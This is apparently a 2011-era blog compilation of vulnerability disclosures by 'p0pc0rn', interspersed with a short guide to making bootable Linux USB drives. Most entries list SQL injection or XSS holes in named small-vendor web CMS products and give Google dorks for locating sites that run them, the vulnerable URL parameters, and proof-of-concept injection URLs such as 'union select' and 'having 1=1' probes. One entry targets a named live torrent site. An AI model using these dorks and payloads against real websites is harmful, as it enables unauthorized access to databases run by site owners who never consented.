OnePlug CMS Vulnerable to Multiple SQL Injection

Title : OnePlug CMS Vulnerable to Multiple SQL Injection
Vendor : http://www.webpromo-inc.com/
Found by : p0pc0rn
Dork : intext:"Powered by OnePlug CMS"

SQL - Microsoft Access
-------------------------------
Parameters
index.asp?Team_ID=[SQL]
service_info.asp?Service_ID=[SQL]
product_details.asp?Product_ID=[SQL]
product_list.asp?Category_ID=[SQL]
product_info.asp?Product_ID=[SQL]
category_list.asp?Category_ID=[SQL]

more..

POC
---
http://site.com/category_list.asp?Category_ID=1 union select 0 from test.a

thanks,
-p0pc0rn-

Triware CMS Vulnerable to Multiple SQL Injection

Title : Triware CMS Vulnerable to Multiple SQL Injection
Vendor : http://www.triware.ca/
Found by : p0pc0rn
Dork : intext:"Site by Triware Technologies Inc"

SQL - Jet Engine Database Error
-------------------------------
Parameter
http://site.com/default.asp?com=[Page]&id=[SQL]&m=[id]
http://site.com/default.asp?com=[Page]&id=[id]&m=[SQL]

SQL - Unclosed Quotation Mark
-----------------------------
http://www.site.com/default.aspx?Content=[SQL]

POC
---
http://site.com/default.asp?com=Pages&id=1&m=1 union select 0 from test.a
http://www.site.com/default.aspx?Content=Place'

thanks,
-p0pc0rn-

VoiceCMS Vulnerable to SQL Injection

Title : VoiceCMS Vulnerable to SQL Injection
Vendor : http://www.voicecms.ca
Found by : p0pc0rn
Dork
: intext:"Powered by VoiceCMS"
: intext:"powered by triware"


SQL - Jet Engine Database Error
-------------------------------
Parameter
http://site.com/default.asp?com=[Page]&id=[SQL]&m=[id]
http://site.com/default.asp?com=[Page]&id=[id]&m=[SQL]

POC
---
http://site.com/default.asp?com=PhotoGallery&id=1 union select 0 from test.a&m=1

thanks,
-p0pc0rn-

Stanmax Interactive Studio CMS Vulnerable to SQL Injection

Title : Stanmax Interactive Studio CMS Vulnerable to SQL Injection
Vendor : http://www.stanmax.com.my/
Found by : p0pc0rn
Dork : intext:"Site Powered By Stanmax Interactive Studio"

SQL
----
http://site.com/index.php?p=news_details&ann_id=[SQL]

POC
---

thanks,
-p0pc0rn-

Universal USB Installer - Easy Way to Make Bootable USB

I want to share with all how to make USB bootable linux using Universal USB Installer.

What you need?
- Any Linux image(.iso) that you want to make it bootable using USB.
- Flashdrive,thumbdrive minimum with 1Gb size.
- And make sure your PC have the USB port :)

How to use?

1 - Download the installer from here

http://www.pendrivelinux.com/downloads/Universal-USB-Installer/Universal-USB-Installer-1.8.3.5.exe

2 - After that, just run the file.
a) I agree. Then choose your preferred.
b) find the location to the image.
c) In my case, the installer cant detect my image's location automatically,so I just put the full path manually in the location box. As example I put my Fedora at Desktop. So the full path will be
C:\Users\p0pc0rn\Desktop\Fedora-14-i686-Live-Desktop.iso

3 - Then choose your USB Drive. Tick format so it will format your USB to FAT32.

4 - And then you just need to wait until it complete.

Have a try! :)

credit to : http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/

other recommended software
- unetbootin
- linuxliveusb

Web Designed by LUCH Vulnerable to SQL Injection

Title : Web Designed by LUCH Vulnerable to SQL Injection
Vendor : http://www.luch.co.il
Found by: p0pc0rn

SQL
---

http://site.com/page.asp?id=[SQL]
http://site.com/cat.asp?catid=[SQL]
http://site.com/catin.asp?productid=[SQL]

POC
---
http://site.com/page.asp?id=23 union select 1 from test.a

thanks,
-p0pc0rn-

Web Design by Webz Vulnerable to SQL Injection

Title : Web Design by Webz Vulnerable to SQL Injection
Web : http://www.webz.com.my/
Found by: p0pc0rn 08/03/2011
Dork : intext:"Web Design by Webz" filetype:asp


SQL - Microsoft JET Database Engine error
------------------------------------------

http://site.com/xxx.asp?id=[SQL]
http://site.com/xxx.asp?catID=[SQL]
http://site.com/xxx.asp?brandID=[SQL]

and other parameters are vulnerable to SQL Injection

POC
---

http://site.com/xxx.asp?id=1 union select 1 from test.a

thanks,
-p0pc0rn-

EzPub - Simple Classic ASP CMS Vulnerable to SQL Injection

Title : EzPub - Simple Classic ASP CMS Vulnerable to SQL Injection
Web : http://www.soft4web.ro
Found by: p0pc0rn 08/03/2011
Dork : intext:"Powered by EZPub"


SQL - Microsoft JET Database Engine error
------------------------------------------

http://site.com/view_article.asp?item=[SQL]
http://site.com/page.asp?pID=[SQL]
http://site.com/display.asp?sortby=sections&sID=[SQL]

POC
---

http://site.com/view_article.asp?item=1 union select 1 from test.a

thanks,
-p0pc0rn-

XSS in NewTorrents.info search form

NewTorrents.info - your 0day source

Found XSS in NewTorrents.info

http://www.newtorrents.info/search/a"[XSS]"a

POC
---

Status: Reported.

thanks,
-p0pc0rn-

Wired-Media Pte Ltd CMS Multiple Vulnerabilities

Title : Wired-Media Pte Ltd CMS Multiple Vulnerabilities
Web : http://www.wm.tm
Found by: p0pc0rn 05/03/2011
Dork : inurl:"index.cfm?GPID="

SQL
---

http://site.com/index.cfm?GPID=[SQL]

XSS
---

http://site.com/index.cfm?GPID=[XSS]

POC
---

thanks,
-p0pc0rn-

WSI CMS Multiple SQL Injections

Title : WSI CMS Multiple SQL Injections
Web : http://www.wsicorporate.com/
Found by: p0pc0rn 01/03/2011
Dork : intext:"Powered by WSI" filetype:asp

SQL
---

http://site.com/xxx.asp?PId=[SQL]
http://site.com/xxx.asp?Id=[SQL]
http://site.com/form.asp?formname=[name][SQL]

POC
---

http://site.com/xxx.asp?PId=1234 having 1=1
http://site.com/xxx.asp?Id=4321 having 1=1
http://site.com/form.asp?formname=test' union select 1,2 from test.aa

thanks,
-p0pc0rn-